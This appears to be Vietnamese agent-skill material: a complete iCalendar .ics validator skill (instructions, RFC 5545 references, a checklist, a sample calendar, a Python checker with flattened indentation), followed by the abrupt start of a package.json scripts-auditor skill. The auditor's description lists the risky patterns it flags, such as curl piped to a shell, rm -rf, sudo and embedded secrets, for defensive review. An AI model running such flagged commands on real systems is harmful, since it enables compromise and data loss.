@f
Xác thực các tệp iCalendar .ics theo các nguyên tắc cơ bản của RFC 5545: cấu trúc lồng nhau BEGIN/END, các thuộc tính VCALENDAR và VEVENT bắt buộc (VERSION, PRODID, UID, DTSTAMP, DTSTART), định dạng ngày và giờ, DTEND so với DURATION, tham chiếu TZID, cú pháp RRULE và ngắt dòng (line folding). Sử dụng khi lời mời lịch không thể nhập (import), sự kiện hiển thị sai thời gian hoặc các sự kiện lặp lại hoạt động không đúng. Bao gồm một trình kiểm tra sử dụng thư viện chuẩn Python.
---
name: calendar-ics-validator
description: Xác thực các tệp iCalendar .ics theo các nguyên tắc cơ bản của RFC 5545: cấu trúc lồng nhau BEGIN/END, các thuộc tính VCALENDAR và VEVENT bắt buộc (VERSION, PRODID, UID, DTSTAMP, DTSTART), định dạng ngày và giờ, DTEND so với DURATION, tham chiếu TZID, cú pháp RRULE và ngắt dòng (line folding). Sử dụng khi lời mời lịch không thể nhập (import), sự kiện hiển thị sai thời gian hoặc các sự kiện lặp lại hoạt động không đúng. Bao gồm một trình kiểm tra sử dụng thư viện chuẩn Python.
---
# Trình xác thực tệp lịch ICS
Bạn giúp mọi người tìm và sửa các sự cố trong tệp iCalendar (`.ics`) được xuất từ ứng dụng, được tạo bởi mã nguồn hoặc được đính kèm trong các lời mời. Bạn kiểm tra cấu trúc, các thuộc tính bắt buộc, giá trị ngày-giờ, múi giờ và quy tắc lặp lại, sau đó giải thích từng vấn đề bằng ngôn ngữ dễ hiểu cùng với cách khắc phục chính xác. Bạn tuân thủ RFC 5545 và lưu ý những điểm mà các ứng dụng khách phổ biến (Google Calendar, Outlook, Apple Calendar) khắt khe hơn hoặc lỏng lẻo hơn.
## Các tệp trong kỹ năng này
- `scripts/check_ics.py` - phân tích cú pháp tệp `.ics` (có nối lại các dòng bị ngắt - line unfolding) và báo cáo lỗi cùng cảnh báo kèm theo số dòng (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/ics-fields.md` - các thành phần, các thuộc tính bắt buộc và phổ biến, cùng định dạng giá trị
- `references/recurrence-rules.md` - các phần của RRULE, giá trị hợp lệ, EXDATE/RDATE và các lỗi lặp lại phổ biến
- `templates/fix-checklist.md` - danh sách kiểm tra và cấu trúc báo cáo cần trả về
- `examples/sample.ics` - một tệp lịch nhỏ hợp lệ có múi giờ, một sự kiện diễn ra một lần và một sự kiện lặp lại hàng tuần
## Quy trình làm việc
### 1. Lấy tệp
Yêu cầu nội dung hoặc đường dẫn tệp `.ics`, ứng dụng đã tạo ra nó, ứng dụng bị lỗi khi nhập nó và triệu chứng gặp phải (lỗi nhập, sai thời gian, thiếu lần xuất hiện, bị trùng lặp).
### 2. Chạy trình kiểm tra
```
python3 scripts/check_ics.py path/to/calendar.ics
python3 scripts/check_ics.py --json path/to/calendar.ics
python3 scripts/check_ics.py --self-test
```
Mã thoát (Exit code) 0 có nghĩa là không có lỗi (các cảnh báo vẫn có thể còn), 1 có nghĩa là đã tìm thấy lỗi.
### 3. Diễn giải kết quả
- **Lỗi (Errors)** làm hỏng quá trình nhập hoặc vi phạm RFC 5545 (thiếu UID, DTEND trước DTSTART, cặp BEGIN/END không cân xứng, RRULE không hợp lệ).
- **Cảnh báo (Warnings)** thường gây ra hành vi sai lệch ở một số ứng dụng khách (thời gian trôi nổi - floating times, TZID không có VTIMEZONE, dòng dài quá 75 octet, kết thúc dòng chỉ dùng LF).
Sử dụng `references/ics-fields.md` và `references/recurrence-rules.md` để giải thích từng phát hiện.
### 4. Chẩn đoán triệu chứng
- Sai thời gian: kiểm tra thời gian trôi nổi (không có `Z`, không có `TZID`), tên TZID không khớp, hoặc ký tự `Z` (UTC) bị thêm vào giờ địa phương.
- Thiếu hoặc thừa lần xuất hiện: kiểm tra kiểu của `UNTIL` trong `RRULE` so với `DTSTART`, `COUNT`, `BYDAY`, và định dạng `EXDATE` có khớp với `DTSTART` hay không.
- Trùng lặp khi nhập lại: kiểm tra xem `UID` có cố định không và `SEQUENCE` có tăng lên khi cập nhật hay không.
### 5. Báo cáo
Điền vào `templates/fix-checklist.md`: tóm tắt, bảng các phát hiện (mức độ nghiêm trọng, dòng, thuộc tính, vấn đề, cách khắc phục), đoạn mã đã sửa và các bước kiểm tra lại.
## Quy tắc
- Trích dẫn chính xác dòng bị lỗi và đưa ra dòng đã được sửa.
- Không âm thầm thay đổi thời gian sự kiện; nếu phải thay đổi múi giờ, hãy nói rõ và hỏi ý kiến.
- Giữ nguyên các giá trị `UID` khi sửa lỗi, trừ khi chúng bị thiếu hoặc bị trùng lặp.
- Không bao giờ đưa email riêng tư của người tham dự vào các ví dụ bạn viết trả lại; hãy thay thế chúng bằng các giá trị giữ chỗ (placeholders).
FILE:references/ics-fields.md
# Tài liệu tham khảo các trường iCalendar (Những điểm cốt lõi của RFC 5545)
## Cấu trúc
```
BEGIN:VCALENDAR
VERSION:2.0 (bắt buộc)
PRODID:-//Org//App//EN (bắt buộc)
CALSCALE:GREGORIAN (tùy chọn, mặc định)
METHOD:PUBLISH (tùy chọn; REQUEST/REPLY/CANCEL cho lời mời)
BEGIN:VTIMEZONE ... END:VTIMEZONE (mỗi TZID được sử dụng cần một khối)
BEGIN:VEVENT ... END:VEVENT
BEGIN:VTODO ... END:VTODO
END:VCALENDAR
```
Mỗi `BEGIN:X` cần một `END:X` tương ứng theo đúng thứ tự. `VALARM` nằm bên trong `VEVENT` hoặc `VTODO`.
## Các thuộc tính VEVENT
| Thuộc tính | Bắt buộc | Ghi chú |
|---|---|---|
| UID | có | Duy nhất trên toàn cục và cố định qua các lần cập nhật (ví dụ: `uuid@yourdomain`). |
| DTSTAMP | có | Thời điểm đối tượng này được tạo/gửi, tính theo UTC: `20261015T070000Z`. |
| DTSTART | có* | Bắt buộc trừ khi METHOD được đặt và ứng dụng khách cho phép bỏ qua; hãy luôn bao gồm thuộc tính này. |
| DTEND | không | Phải muộn hơn DTSTART. Thời điểm kết thúc không bao gồm (exclusive end). |
| DURATION | không | ví dụ: `PT1H30M`, `P1D`. Không được phép dùng cùng với DTEND. |
| SUMMARY | không | Tiêu đề hiển thị trong lịch. |
| DESCRIPTION, LOCATION | không | Thoát (escape) các ký tự `,` `;` `\` và ký tự xuống dòng thành `\,` `\;` `\\` `\n`. |
| RRULE | không | Quy tắc lặp lại; xem recurrence-rules.md. |
| EXDATE / RDATE | không | Các ngày bị loại trừ / ngày bổ sung; cùng kiểu giá trị và TZID với DTSTART. |
| SEQUENCE | không | Số nguyên; tăng lên sau mỗi lần cập nhật quan trọng. |
| STATUS | không | TENTATIVE, CONFIRMED, CANCELLED. |
| ORGANIZER / ATTENDEE | không | Các URI `mailto:` kèm theo các tham số như `CN=` và `PARTSTAT=`. |
## Các giá trị ngày và giờ
| Dạng | Ví dụ | Ý nghĩa |
|---|---|---|
| DATE | `DTSTART;VALUE=DATE:20261020` | Cả ngày; DTEND là ngày tiếp theo (không bao gồm). |
| UTC DATE-TIME | `DTSTART:20261020T090000Z` | Thời gian tuyệt đối theo múi giờ UTC. |
| Giờ địa phương có TZID | `DTSTART;TZID=Europe/Istanbul:20261020T120000` | Giờ địa phương (wall time) tại múi giờ đó; cần một VTIMEZONE khớp tương ứng đối với các ứng dụng khách khắt khe. |
| Trôi nổi (Floating) | `DTSTART:20261020T120000` | Không có múi giờ; hiển thị cùng một giờ đồng hồ ở mọi nơi. Thường là lỗi nếu dùng cho các cuộc họp. |
Định dạng: `YYYYMMDD` hoặc `YYYYMMDDTHHMMSS` với ký tự `Z` tùy chọn. Giờ từ 00-23, phút và giây từ 00-59 (cho phép 60 đối với giây nhuận).
## Quy tắc dòng
- Các dòng kết thúc bằng CRLF (`\r\n`).
- Các dòng dài hơn 75 octet phải được ngắt dòng (folded): chèn CRLF theo sau bởi một dấu cách hoặc tab; trình phân tích cú pháp sẽ xóa CRLF+khoảng trắng khi nối lại dòng (unfolding).
- Tên thuộc tính và tên tham số không phân biệt chữ hoa chữ thường; các giá trị có thể phân biệt chữ hoa chữ thường.
## Định dạng DURATION
`[+/-]P[n]W` hoặc `[+/-]P[n]DT[n]H[n]M[n]S`, ví dụ: `P1W`, `PT45M`, `P1DT12H`.
FILE:references/recurrence-rules.md
# Tài liệu tham khảo Quy tắc lặp lại (RRULE)
Cú pháp: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=MO,WE;UNTIL=20261231T235959Z`
## Các thành phần
| Thành phần | Giá trị | Ghi chú |
|---|---|---|
| FREQ | SECONDLY, MINUTELY, HOURLY, DAILY, WEEKLY, MONTHLY, YEARLY | Bắt buộc, xuất hiện đúng một lần. |
| INTERVAL | số nguyên dương | Mặc định là 1. |
| COUNT | số nguyên dương | Số lần xuất hiện, tính cả lần đầu tiên. |
| UNTIL | DATE hoặc DATE-TIME | Thời điểm kết thúc có bao gồm (inclusive end). Không được sử dụng cùng với COUNT. |
| BYDAY | MO TU WE TH FR SA SU, số thứ tự tùy chọn (`1MO`, `-1FR`) | Số thứ tự chỉ có ý nghĩa khi đi cùng MONTHLY hoặc YEARLY. |
| BYMONTHDAY | 1..31 hoặc -31..-1 | `-1` = ngày cuối cùng của tháng. |
| BYMONTH | 1..12 | |
| BYYEARDAY | 1..366 hoặc số âm | |
| BYWEEKNO | 1..53 hoặc số âm | Chỉ dùng cho YEARLY. |
| BYHOUR / BYMINUTE / BYSECOND | 0..23 / 0..59 / 0..60 | |
| BYSETPOS | 1..366 hoặc số âm | ví dụ: ngày làm việc cuối cùng của tháng: `BYDAY=MO,TU,WE,TH,FR;BYSETPOS=-1`. |
| WKST | MO..SU | Ngày bắt đầu tuần, mặc định là MO. |
## Quy tắc kiểu của UNTIL
- Nếu DTSTART là kiểu DATE, UNTIL phải là kiểu DATE.
- Nếu DTSTART có TZID hoặc là UTC, UNTIL phải là UTC (`...Z`).
- Nếu DTSTART là thời gian trôi nổi (floating), UNTIL cũng phải là thời gian trôi nổi.
## EXDATE và RDATE
- Phải sử dụng cùng kiểu giá trị và TZID với DTSTART, nếu không các ứng dụng khách sẽ bỏ qua chúng.
- Ví dụ: `EXDATE;TZID=Europe/Istanbul:20261103T100000`
## Các lỗi phổ biến
1. Có mặt cả COUNT và UNTIL (không hợp lệ).
2. UNTIL ở dạng giờ địa phương khi DTSTART có TZID (lẽ ra phải là UTC).
3. Số thứ tự BYDAY đi kèm với WEEKLY (`FREQ=WEEKLY;BYDAY=1MO`) - vô nghĩa.
4. DTSTART không khớp với mẫu lặp (DTSTART vào Thứ Ba nhưng `BYDAY=MO`): RFC quy định DTSTART vẫn được tính là lần xuất hiện đầu tiên, điều này gây bất ngờ cho người dùng.
5. EXDATE ở dạng UTC trong khi DTSTART sử dụng TZID: các ngày ngoại lệ không khớp nhau.
6. Các khóa viết thường hoặc viết sai chính tả (`freq=weekly`, `BYDAYS`). Các giá trị phải được viết hoa.
7. Giờ tiết kiệm ánh sáng ban ngày (Daylight saving): một cuộc họp lặp lại lúc 09:00 phải sử dụng TZID, không phải UTC, nếu không nó sẽ bị lệch một giờ hai lần một năm.
## Ví dụ
- Mọi ngày làm việc trong tuần lúc 09:00: `RRULE:FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR`
- Thứ Hai đầu tiên hàng tháng, 6 lần: `RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=6`
- Ngày cuối cùng của mỗi tháng: `RRULE:FREQ=MONTHLY;BYMONTHDAY=-1`
- Thứ Sáu cách tuần cho đến cuối năm: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=FR;UNTIL=20261231T210000Z`
FILE:templates/fix-checklist.md
# Danh sách kiểm tra và Báo cáo sửa lỗi ICS
## Tóm tắt
- Tệp: `<name.ics>`
- Được tạo bởi: `<app or script>` | Bị lỗi trên: `<client>`
- Triệu chứng: `<import error / wrong time / missing occurrences / duplicates>`
- Kết quả: `<N errors, M warnings>`
## Danh sách kiểm tra
- [ ] Tệp bắt đầu bằng `BEGIN:VCALENDAR` và kết thúc bằng `END:VCALENDAR`
- [ ] Tất cả các cặp BEGIN/END đều cân xứng và được lồng nhau chính xác
- [ ] `VERSION:2.0` và `PRODID` xuất hiện một lần trong VCALENDAR
- [ ] Mỗi VEVENT có `UID`, `DTSTAMP`, `DTSTART`
- [ ] Các UID là duy nhất trong tệp và cố định qua các lần cập nhật
- [ ] DTEND muộn hơn DTSTART, và không bị kết hợp chung với DURATION
- [ ] Các giá trị ngày-giờ hợp lệ (`YYYYMMDD` / `YYYYMMDDTHHMMSS[Z]`)
- [ ] Các sự kiện cả ngày sử dụng `VALUE=DATE` trên cả DTSTART và DTEND
- [ ] Mọi TZID được sử dụng đều có VTIMEZONE (hoặc tên IANA mà ứng dụng khách mục tiêu chấp nhận)
- [ ] Không có thời gian trôi nổi (floating times) ngoài ý muốn
- [ ] RRULE có FREQ; không dùng chung COUNT với UNTIL; kiểu của UNTIL khớp với DTSTART
- [ ] EXDATE/RDATE khớp kiểu giá trị và TZID với DTSTART
- [ ] Các giá trị văn bản đã thoát (escape) các ký tự `,` `;` `\` và ký tự xuống dòng
- [ ] Kết thúc dòng bằng CRLF; các dòng dài trên 75 octet đã được ngắt dòng (folded)
- [ ] SEQUENCE tăng lên khi một sự kiện hiện có được cập nhật
## Các phát hiện
| # | Mức độ nghiêm trọng | Dòng | Thuộc tính | Vấn đề | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | error | | | | |
## Đoạn mã đã sửa
```
<fixed lines>
```
## Kiểm tra lại
1. Chạy `python3 scripts/check_ics.py <file>` và xác nhận có 0 lỗi.
2. Nhập vào một lịch thử nghiệm trong ứng dụng khách đang gặp lỗi.
3. Kiểm tra thời gian của lần xuất hiện đầu tiên, một lần xuất hiện ở giữa và lần xuất hiện cuối cùng.
FILE:examples/sample.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Example Co//Team Calendar 1.0//EN
CALSCALE:GREGORIAN
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:Europe/Istanbul
BEGIN:STANDARD
DTSTART:19700101T000000
TZOFFSETFROM:+0300
TZOFFSETTO:+0300
TZNAME:+03
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
UID:kickoff-20261020@example.com
DTSTAMP:20261015T070000Z
DTSTART;TZID=Europe/Istanbul:20261020T100000
DTEND;TZID=Europe/Istanbul:20261020T113000
SUMMARY:Project kickoff
LOCATION:Room 4\, Second Floor
DESCRIPTION:Agenda: goals\, roles\, and first milestones.\nBring lapt
ops.
STATUS:CONFIRMED
SEQUENCE:0
END:VEVENT
BEGIN:VEVENT
UID:weekly-sync-2026@example.com
DTSTAMP:20261015T070000Z
DTSTART;TZID=Europe/Istanbul:20261022T093000
DURATION:PT30M
RRULE:FREQ=WEEKLY;BYDAY=TH;UNTIL=20261231T063000Z
EXDATE;TZID=Europe/Istanbul:20261126T093000
SUMMARY:Weekly team sync
BEGIN:VALARM
ACTION:DISPLAY
DESCRIPTION:Weekly team sync in 10 minutes
TRIGGER:-PT10M
END:VALARM
END:VEVENT
BEGIN:VEVENT
UID:offsite-2026@example.com
DTSTAMP:20261015T070000Z
DTSTART;VALUE=DATE:20261106
DTEND;VALUE=DATE:20261108
SUMMARY:Team offsite (all day)
END:VEVENT
END:VCALENDAR
FILE:scripts/check_ics.py
#!/usr/bin/env python3
"""Validate an iCalendar (.ics) file against RFC 5545 basics.
Usage:
python3 check_ics.py FILE.ics [--json]
python3 check_ics.py --self-test
Exit codes: 0 = no errors, 1 = errors found, 2 = usage / read error.
Python 3 standard library only.
"""
import argparse
import datetime as dt
import json
import re
import sys
DATE_RE = re.compile(r"^\d{8}$")
DATETIME_RE = re.compile(r"^\d{8}T\d{6}Z?$")
DURATION_RE = re.compile(r"^[+-]?P(\d+W|(\d+D)?(T(\d+H)?(\d+M)?(\d+S)?)?)$")
FREQS = {"SECONDLY", "MINUTELY", "HOURLY", "DAILY", "WEEKLY", "MONTHLY", "YEARLY"}
DAYS = {"MO", "TU", "WE", "TH", "FR", "SA", "SU"}
RRULE_KEYS = {"FREQ", "UNTIL", "COUNT", "INTERVAL", "BYSECOND", "BYMINUTE", "BYHOUR",
"BYDAY", "BYMONTHDAY", "BYYEARDAY", "BYWEEKNO", "BYMONTH", "BYSETPOS", "WKST"}
EVENT_LIKE = {"VEVENT", "VTODO", "VJOURNAL"}
class Report:
def __init__(self):
self.items = []
def add(self, severity, line, prop, message):
self.items.append({"severity": severity, "line": line, "property": prop, "message": message})
def error(self, line, prop, msg):
self.add("error", line, prop, msg)
def warn(self, line, prop, msg):
self.add("warning", line, prop, msg)
@property
def errors(self):
return [i for i in self.items if i["severity"] == "error"]
@property
def warnings(self):
return [i for i in self.items if i["severity"] == "warning"]
def unfold(raw, rep):
"""Return list of (line_no, logical_line). Checks line endings and length."""
if "\r\n" not in raw and "\n" in raw:
rep.warn(1, None, "Lines end with LF only; RFC 5545 requires CRLF (most clients tolerate LF).")
physical = raw.replace("\r\n", "\n").split("\n")
logical = []
for n, line in enumerate(physical, start=1):
if len(line.encode("utf-8")) > 75:
rep.warn(n, None, f"Line is {len(line.encode('utf-8'))} octets; fold lines longer than 75 octets.")
if line[:1] in (" ", "\t") and logical:
ln, text = logical[-1]
logical[-1] = (ln, text + line[1:])
elif line == "":
continue
else:
logical.append((n, line))
return logical
def split_prop(line):
"""Split 'NAME;PARAM=V:VALUE' into (NAME, {params}, value). Handles quoted params."""
in_q = False
for i, ch in enumerate(line):
if ch == '"':
in_q = not in_q
elif ch == ":" and not in_q:
head, value = line[:i], line[i + 1:]
break
else:
return None
parts = re.split(r';(?=(?:[^"]*"[^"]*")*[^"]*$)', head)
name = parts[0].upper()
params = {}
for p in parts[1:]:
if "=" in p:
k, v = p.split("=", 1)
params[k.upper()] = v.strip('"')
return name, params, value
def parse_dt(value, params):
"""Return (kind, datetime|None) where kind is DATE, UTC, LOCAL, FLOATING or BAD."""
if params.get("VALUE", "").upper() == "DATE" or DATE_RE.match(value):
if not DATE_RE.match(value):
return "BAD", None
try:
return "DATE", dt.datetime.strptime(value, "%Y%m%d")
except ValueError:
return "BAD", None
if not DATETIME_RE.match(value):
return "BAD", None
try:
d = dt.datetime.strptime(value.rstrip("Z"), "%Y%m%dT%H%M%S")
except ValueError:
return "BAD", None
if value.endswith("Z"):
return "UTC", d
return ("LOCAL" if "TZID" in params else "FLOATING"), d
def check_rrule(value, ln, start_kind, rep):
parts = {}
for chunk in value.split(";"):
if "=" not in chunk:
rep.error(ln, "RRULE", f"Malformed part '{chunk}' (expected KEY=VALUE).")
continue
k, v = chunk.split("=", 1)
if k != k.upper():
rep.warn(ln, "RRULE", f"Key '{k}' should be uppercase.")
k = k.upper()
if k in parts:
rep.error(ln, "RRULE", f"Part {k} appears more than once.")
if k not in RRULE_KEYS:
rep.error(ln, "RRULE", f"Unknown part '{k}'.")
parts[k] = v.upper()
freq = parts.get("FREQ")
if not freq:
rep.error(ln, "RRULE", "FREQ is required.")
elif freq not in FREQS:
rep.error(ln, "RRULE", f"Invalid FREQ '{freq}'.")
if "COUNT" in parts and "UNTIL" in parts:
rep.error(ln, "RRULE", "COUNT and UNTIL must not both be present.")
for key in ("COUNT", "INTERVAL"):
if key in parts and not (parts[key].isdigit() and int(parts[key]) > 0):
rep.error(ln, "RRULE", f"{key} must be a positive integer.")
if "BYDAY" in parts:
for d in parts["BYDAY"].split(","):
m = re.match(r"^([+-]?\d{1,2})?(MO|TU|WE|TH|FR|SA|SU)$", d)
if not m:
rep.error(ln, "RRULE", f"Invalid BYDAY value '{d}'.")
elif m.group(1) and freq not in ("MONTHLY", "YEARLY"):
rep.warn(ln, "RRULE", f"BYDAY ordinal '{d}' only makes sense with MONTHLY or YEARLY.")
for key, lo, hi in (("BYMONTH", 1, 12), ("BYMONTHDAY", 1, 31), ("BYHOUR", 0, 23), ("BYMINUTE", 0, 59)):
if key in parts:
for v in parts[key].split(","):
try:
n = int(v)
except ValueError:
rep.error(ln, "RRULE", f"{key} value '{v}' is not an integer.")
continue
ok = lo <= abs(n) <= hi if key == "BYMONTHDAY" else lo <= n <= hi
if not ok:
rep.error(ln, "RRULE", f"{key} value {n} out of range.")
if "WKST" in parts and parts["WKST"] not in DAYS:
rep.error(ln, "RRULE", f"Invalid WKST '{parts['WKST']}'.")
if "UNTIL" in parts:
ukind, _ = parse_dt(parts["UNTIL"], {})
if ukind == "BAD":
rep.error(ln, "RRULE", f"UNTIL '{parts['UNTIL']}' is not a valid DATE or DATE-TIME.")
elif start_kind == "DATE" and ukind != "DATE":
rep.error(ln, "RRULE", "DTSTART is a DATE, so UNTIL must be a DATE too.")
elif start_kind in ("LOCAL", "UTC") and ukind != "UTC":
rep.error(ln, "RRULE", "DTSTART has a TZID or is UTC, so UNTIL must be UTC (ending in Z).")
def validate(text):
rep = Report()
lines = unfold(text, rep)
if not lines:
rep.error(1, None, "File is empty.")
return rep
if lines[0][1].upper() != "BEGIN:VCALENDAR":
rep.error(lines[0][0], None, "File must start with BEGIN:VCALENDAR.")
stack = []
comps = [] # list of dicts: name, line, props: list of (ln, name, params, value)
tzids_defined, tzids_used, uids = set(), [], {}
for ln, line in lines:
parsed = split_prop(line)
if parsed is None:
rep.error(ln, None, f"Not a valid content line (missing ':'): {line[:40]!r}")
continue
name, params, value = parsed
if name == "BEGIN":
comp = {"name": value.upper(), "line": ln, "props": []}
stack.append(comp)
continue
if name == "END":
if not stack:
rep.error(ln, "END", f"END:{value} without matching BEGIN.")
continue
comp = stack.pop()
if comp["name"] != value.upper():
rep.error(ln, "END", f"END:{value} does not match BEGIN:{comp['name']} (line {comp['line']}).")
comps.append(comp)
continue
if not stack:
rep.error(ln, name, "Property outside any component.")
continue
stack[-1]["props"].append((ln, name, params, value))
if "TZID" in params:
tzids_used.append((ln, params["TZID"]))
if name == "TZID" and stack[-1]["name"] == "VTIMEZONE":
tzids_defined.add(value)
for comp in stack:
rep.error(comp["line"], "BEGIN", f"BEGIN:{comp['name']} is never closed.")
for comp in comps:
props = {}
for ln, name, params, value in comp["props"]:
props.setdefault(name, []).append((ln, params, value))
cname = comp["name"]
if cname == "VCALENDAR":
for req in ("VERSION", "PRODID"):
if req not in props:
rep.error(comp["line"], req, f"VCALENDAR is missing required {req}.")
elif len(props[req]) > 1:
rep.error(props[req][1][0], req, f"{req} must appear only once.")
if "VERSION" in props and props["VERSION"][0][2] != "2.0":
rep.error(props["VERSION"][0][0], "VERSION", "VERSION must be 2.0.")
if cname in EVENT_LIKE:
for req in ("UID", "DTSTAMP"):
if req not in props:
rep.error(comp["line"], req, f"{cname} is missing required {req}.")
if cname == "VEVENT" and "DTSTART" not in props:
rep.error(comp["line"], "DTSTART", "VEVENT is missing DTSTART.")
if "UID" in props:
uid = props["UID"][0][2]
if uid in uids:
rep.error(props["UID"][0][0], "UID", f"Duplicate UID '{uid}' (also line {uids[uid]}).")
else:
uids[uid] = props["UID"][0][0]
if "DTSTAMP" in props:
ln, params, value = props["DTSTAMP"][0]
kind, _ = parse_dt(value, params)
if kind != "UTC":
rep.error(ln, "DTSTAMP", "DTSTAMP must be a UTC DATE-TIME ending in Z.")
start_kind, start = None, None
for key in ("DTSTART", "DTEND", "DUE"):
if key not in props:
continue
ln, params, value = props[key][0]
kind, val = parse_dt(value, params)
if kind == "BAD":
rep.error(ln, key, f"Invalid date or date-time value '{value}'.")
continue
if kind == "FLOATING":
rep.warn(ln, key, "Floating time (no Z and no TZID): shows the same wall time in every zone.")
if key == "DTSTART":
start_kind, start = kind, val
elif start is not None:
if (kind == "DATE") != (start_kind == "DATE"):
rep.error(ln, key, f"{key} and DTSTART must both be DATE or both DATE-TIME.")
elif kind == start_kind and val <= start:
rep.error(ln, key, f"{key} must be later than DTSTART.")
if "DTEND" in props and "DURATION" in props:
rep.error(props["DURATION"][0][0], "DURATION", "DTEND and DURATION must not both be present.")
if "DURATION" in props:
ln, _, value = props["DURATION"][0]
if not DURATION_RE.match(value) or value.rstrip("+-") in ("P", "PT"):
rep.error(ln, "DURATION", f"Invalid DURATION '{value}' (e.g. PT1H30M, P1D).")
if "RRULE" in props:
ln, _, value = props["RRULE"][0]
check_rrule(value, ln, start_kind, rep)
if len(props["RRULE"]) > 1:
rep.warn(props["RRULE"][1][0], "RRULE", "Multiple RRULEs are deprecated; many clients use only the first.")
for key in ("EXDATE", "RDATE"):
for ln, params, value in props.get(key, []):
for v in value.split(","):
kind, _ = parse_dt(v, params)
if kind == "BAD":
rep.error(ln, key, f"Invalid value '{v}'.")
elif start_kind and kind != start_kind:
rep.warn(ln, key, f"{key} value type ({kind}) differs from DTSTART ({start_kind}); clients may ignore it.")
if "SEQUENCE" in props and not props["SEQUENCE"][0][2].isdigit():
rep.error(props["SEQUENCE"][0][0], "SEQUENCE", "SEQUENCE must be a non-negative integer.")
for key in ("SUMMARY", "DESCRIPTION", "LOCATION"):
for ln, _, value in props.get(key, []):
if re.search(r"(?<!\\)[,;]", value):
rep.warn(ln, key, "Unescaped ',' or ';' in text; escape as '\\,' and '\\;'.")
if not any(c["name"] in EVENT_LIKE for c in comps):
rep.warn(1, None, "Calendar contains no VEVENT, VTODO, or VJOURNAL.")
for ln, tz in tzids_used:
if tz not in tzids_defined:
rep.warn(ln, "TZID", f"TZID '{tz}' has no VTIMEZONE in this file; strict clients (e.g. Outlook) may misplace it.")
return rep
BROKEN = (
"BEGIN:VCALENDAR\r\nPRODID:-//Test//EN\r\nBEGIN:VEVENT\r\nDTSTAMP:20261015T070000\r\n"
"DTSTART:20261020T100000Z\r\nDTEND:20261020T090000Z\r\nDURATION:PT1H\r\n"
"RRULE:FREQ=WEEKLY;COUNT=5;UNTIL=20261201T000000Z;BYDAY=XX\r\nSUMMARY:Bad, event\r\n"
"END:VEVENT\r\nBEGIN:VEVENT\r\nUID:a@x\r\nDTSTAMP:20261015T070000Z\r\n"
"DTSTART;TZID=Mars/Olympus:20261020T100000\r\nEND:VTODO\r\nEND:VCALENDAR\r\n"
)
GOOD = (
"BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:-//Test//EN\r\nBEGIN:VEVENT\r\nUID:ok@x\r\n"
"DTSTAMP:20261015T070000Z\r\nDTSTART:20261020T070000Z\r\nDTEND:20261020T080000Z\r\n"
"RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=3\r\nSUMMARY:Fine\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n"
)
def self_test():
good = validate(GOOD)
bad = validate(BROKEN)
msgs = " | ".join(i["message"] for i in bad.items)
checks = [
("good file has no errors", not good.errors),
("missing VERSION", "missing required VERSION" in msgs),
("missing UID", "missing required UID" in msgs),
("DTSTAMP not UTC", "DTSTAMP must be a UTC" in msgs),
("DTEND before DTSTART", "must be later than DTSTART" in msgs),
("DTEND with DURATION", "must not both be present" in msgs),
("COUNT with UNTIL", "COUNT and UNTIL" in msgs),
("bad BYDAY", "Invalid BYDAY" in msgs),
("unescaped comma", "Unescaped" in msgs),
("mismatched END", "does not match BEGIN" in msgs),
("unknown TZID warning", "Mars/Olympus" in msgs),
]
failed = 0
for label, ok in checks:
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {label}")
print(f"\n{len(checks) - failed}/{len(checks)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Validate an iCalendar (.ics) file.")
p.add_argument("file", nargs="?", help="Path to .ics file ('-' for stdin)")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
if a.file == "-":
text = sys.stdin.read()
else:
with open(a.file, "r", encoding="utf-8", newline="") as fh:
text = fh.read()
except (OSError, UnicodeDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
rep = validate(text)
if a.json:
print(json.dumps({"errors": len(rep.errors), "warnings": len(rep.warnings), "findings": rep.items}, indent=2))
else:
for i in sorted(rep.items, key=lambda x: (x["line"], x["severity"])):
prop = f" {i['property']}" if i["property"] else ""
print(f"line {i['line']:>4} {i['severity'].upper():7}{prop}: {i['message']}")
print(f"\n{len(rep.errors)} error(s), {len(rep.warnings)} warning(s)")
return 1 if rep.errors else 0
if __name__ == "__main__":
sys.exit(main())Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.
---
name: package-json-scripts-auditor
description: Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.
---
# Trình kiểm toán Scripts trong package.json
